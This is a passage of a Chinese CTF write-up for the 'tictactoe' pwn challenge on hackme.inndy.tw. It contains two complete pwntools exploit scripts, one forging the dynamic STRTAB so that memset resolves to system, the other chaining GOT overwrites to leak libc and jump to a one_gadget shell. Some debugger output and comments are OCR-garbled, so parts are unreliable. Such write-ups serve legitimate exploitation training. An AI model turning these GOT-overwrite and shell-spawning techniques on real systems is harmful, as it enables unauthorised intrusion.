                                           REL
0x00000017
            (JMPREL)
                                           0x8048430
0x00000011 (REL
                                           0x8048418
0x00000012
            (RELSZ)
                                           24 (bytes)
                                           8 (bytes)
0x00000013
0x6ffffffe
                                           0x80483d8
                                           1
            (VERNEEDNUM)
                                           0x80483b4
0×00000000 (NULL)
```

```
search
       "memset
                  insd
                          dword ptr es:[edi], dx /* 'memset' */
                           dword ptr es:[edi], dx /*
                   insd
                                                       memset
                           dword ptr es:[edi], dx /*
                   insd
                                                      'memset chk' */
                           dword ptr es:[edi], dx /*
                                                      'memset gcn by2'
                   insd
                                     es:[edi], dx
                                                                  bv4'
                   insd
                           dword ptr
                                                              gcn
                                                      'memset
                                     es:[edi], dx
                   insd
                           dword ptr
                                                       memset
                                     es:[edi], dx
                   insd
                           dword ptr
                                                      'memset cc
                                     es:[edi], dx
                                                      'memset ccn by2'
                   insd
                   insd
                           dword
                                     es:[edi],
                                               dx
                                                      'memset ccn by4'
                                     es:[edi], dx
                                                      'memset' *
                    insd
                           dword ptr
                           dword ptr es:[edi], dx
                                                      'memset chk'
                   insd
                           dword ptr es:[edi], dx /* 'memset chk' */
                   insd
                   insd
                           dword ptr
                                    es:[edi], dx
                    insd
                           dword ptr
                                     es:[edi], dx
                           dword ptr es:[edi], dx
                   insd
                   insd
                           dword ptr es:[edi], dx
                                                   /* 'memset' */
                           dword ptr es:[edi], dx
                   insd
                    insd
                           dword ptr es:[edi], dx /* 'memset sse2'
                           dword ptr es:[edi], dx /* 'memset ia32' */
                   insd
p/x 0x804833c-0x80482f8
```

发现memset字符串的偏移是0x44

再寻找system字符串在程序中的位置,得到可伪造的STRTAB为0x8049fc8

```
search
                system
                                   0x8049087 /* 'system' */
                           1ae
ictactoe1
                            system'
                                    0xf75da53a /* 'systemerr' */
                             ae
                                    0xf75da7db /*
                                                   'system' */
                             ae
                                    0xf77250d4 /*
                                                   'system error' */
                             ae
                                    0xf7725cf2 /*
                                                   'system call' */
                             ae
                                    0xf7725e5a /*
                                                   'system'
                             ae
                                    0xf7725ec7 /*
                                                   'system' */
                             ae
                                    0xf772671d /* 'system call' */
                             ae
                                    0xf7726b95
                             ae
                                    0xf772769d /* 'system/cpu' */
                             ae
                                    0xf7729b2b
                             ae
                                    0xf772a719
                             ae
                             ae
                                    0xf772a73d
                                    0xf772a82b
                             ae
                             ae
                                    0xf772a84f
                                    0xf772b8ec
                             ae
                                    0xf77bafcd
                             ae
                                    0xf77bbd8b
                             ae
       p/x 0x804a00c-0x44
```

这样一来思路就有了

首先通过任意地址写,将0x0804af58改为0x8049fc8,只需要改末两个字节,使得STRTAB被伪造

接着通过任意地址写,将player (0x804B048)改成\$0参数

就可以getshell了

exp如下:

```
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./tictactoel"
context.binary=bin_elf
elf = ELF(bin_elf)
#libc = ELF("./libc-2.23.so")
libc = elf.libc
if sys.argv[1] == "r":
  p = remote("hackme.inndy.tw",7721)
elif sys.argv[1] == "1":
  p = process(bin_elf)
#-----
def sl(s):
  return p.sendline(s)
def sd(s):
  return p.send(s)
def rc(timeout=0):
  if timeout == 0:
      return p.recv()
  else:
      return p.recv(timeout=timeout)
def ru(s, timeout=0):
  if timeout == 0:
      return p.recvuntil(s)
  else:
      return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
  return p.sendlineafter(a,s)
def sda(a,s):
  return p.sendafter(a,s)
def debug(addr=''):
  gdb.attach(p,'')
  pause()
def getshell():
  p.interactive()
#-----
def change(addr,value):
  offset = addr -0x804B056
  ru("\nInput move (9 to change flavor): ")
  sl("9")
  sd(value)
  ru("\nInput move (9 to change flavor): ")
  sd(str(offset))
player= 0x0804B048# sh\x00, \pm$0
print $0\x00.encode('hex')73\x68\x00
print "sh\x00".encode('hex')\#\x24\x30\x00
targe = 0x8049fc8#
STRTAB = 0 \times 0804 \text{AF58}
bss = elf.bss()
ru("Play (1)st or (2)nd? ")
sl("1")
change(player,'\x00')#0
change(player,'\x24')#1 ■■■■■■
change(STRTAB,'\xc8')#2
change(player + 1, '\x30')#3
change(STRTAB + 1,'\x9f')#4
change(player+2,'\x00')#5
change(bss+0x100,'\x00')#6
change(bss+0x100,'\x00')#7
change(bss+0x100,'\x00')#8
```

```
getshell()
```

这里需要注意的是,由于player每次会取反,改的时候需要注意统一用奇数轮次来写入

```
for ( i = 0; i <= 8 && !check(); ++i )
{
    if ( player == -1 )
    {
        AI_play();
    }
    else
    {
        play_result();
        you_play();
    }
    player = -player;
}</pre>
```

方法二

改整个程序流程为无限循环,从而进行常规的泄漏libc接着再getshell

这个方法是参考了这位大佬的: https://xz.aliyun.com/t/1785, tql

思路是这样的

第1步、首先,第一次进入you_play的时候,你最多有三次任意写的机会,可以写三个字节,用这个把main末尾出的memset函数的got表改成`call you_play的地址,从而实现了无限循环写

第2步、接着改open_got的为: 0x08048Cb4:printf("Here is your flag: %s\n", buf);,这样以来,程序执行到open函数的时候就会去执行这句,从而泄漏出buf的地址,进而得到libc偏移

- 第3步、得到libc偏移后就能算出onegadget了,后面用于直接getshell
- 第4步、这时再将exit的got改为0x08048bd5:call you_play,这么做的原因是,在执行完0x08048Cb4:printf("Here is your flag: %s\n", buf);后,将要执行exit(0),从而使得程序重新变回无限循环写
- 第5步、将check的关键变量v1改为-1,也就是0xfffffff,使得程序进入赢得游戏的if分支,从而执行之前第2、3、4步中的操作
- 第6步、该时我们有了onegadget,程序通过第四步的构造,再一次执行到了you_play函数,继续构造写入,这时要把check的关键变量v1改为不等于-1,从而进入输掉
- 第7步、改open_got为 to ->call _exit 0x08048CF2
- 第8步、将exit的got改为onegadget
- 第9步、将check的关键变量v1改为0xffffffff,跟第5步一样,使得程序进入赢得游戏的if分支,使得之前第7、8步的构造得以执行
- 第10步、执行exit函数从而getshell

ехр

```
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./tictactoel"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
   p = remote("hackme.inndy.tw",7714)
   libc = ELF("./libc-2.23.so.i386")
elif sys.argv[1] == "l":
   p = process(bin_elf)
   libc = elf.libc
def sl(s):
  return p.sendline(s)
def sd(s):
   return p.send(s)
def rc(timeout=0):
   if timeout == 0:
       return p.recv()
   else:
       return p.recv(timeout=timeout)
```

```
if timeout == 0:
      return p.recvuntil(s)
  else:
      return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
  return p.sendlineafter(a,s)
def sda(a,s):
  return p.sendafter(a,s)
def debug(addr=''):
  gdb.attach(p,'')
  pause()
def getshell():
  p.interactive()
#-----
def change(addr,value):
  offset = addr - 0x804B056
  ru("\nline move (9 to change flavor): ")
  sl("9")
  sd(value)
  ru("\nInput move (9 to change flavor): ")
  sd(str(offset))
  time.sleep(1)
  sys.stdout.flush()#■■0.5■■■■stdout
memset_got = 0x0804B034
open_got = 0x0804B02C
exit_got = 0x0804B028
check = 0x0804B04D
ru("Play (1)st or (2)nd? ")
sl("1")
change(memset_got+1,'\x8b')
\label{eq:change(open_got,'xb4')\#} $$\operatorname{dopen_got}: 0x08048Cb4: printf("Here is your flag: %s/n", buf); $$
change(open_got+1,'\x8c')
you_play
change(exit_got+1,'\x8b')
#Ev1EE-1,EEEEEE,EEEEprint flagEifEE
change(check,"\xff")
change(check+1, "\xff")
change(check+2,"\xff")
#leak libc_base
offset =0x1462e\#\blacksquare\blacksquare\blacksquare0xf7***f12\blacksquare\_libc_start_main\blacksquare\blacksquare\blacksquare
ru("Here is your flag: ")
libc_leak=u32(p.recv(4))
print "libc_leak:",hex(libc_leak)
__libc_start_main=libc_leak+offset
print "__libc_start_main:",hex(__libc_start_main)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
print "libc_base:"+hex(libc_base)
onegadget = libc_base+0x3AC69#■■■:0x3ac49,■■:0x5fbc5
print "onegadget:",hex(onegadget)
#■■■■,■■puts("Draw!....")■if■■
change(check+1,"\x01")
#■open_got■ to ->call _exit 0x08048CF2
change(open_got,"\xf2")
```

def ru(s, timeout=0):

```
change(open_got+1,"\x8c")
#MexitMgotMMonegadget
change(exit_got,p32(onegadget)[0])
change(exit_got+1,p32(onegadget)[1])
change(exit_got+2,p32(onegadget)[2])
change(exit_got+3,p32(onegadget)[3])
```

#**BBB**, **B**print flag**B**if**BB** change(check+1, "\xff")

getshell()

这里需要注意的是,在泄漏libc那一步

泄漏出来的buf地址是一个这样的值:0xf7xxxf12,我是通过下断点进gdb调试,找到这个地址到__libc_start_main的偏移,从而得到__libc_start_main的真实地就这样算出onegadget

小结

通过这些题目,的确是让我学到了不少的骚操作,尤其是让我理解了调试的重要性,pwn题就是得慢慢看ida慢慢调试,加深自己对题目的理解,最后通过掌握的各个利用线点击收藏 | 0 关注 | 1

上一篇: CTF 中的 LFSR 下一篇: CTF 中的 LFSR

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zs0zrc 2018-12-26 13:21:04

膜师傅

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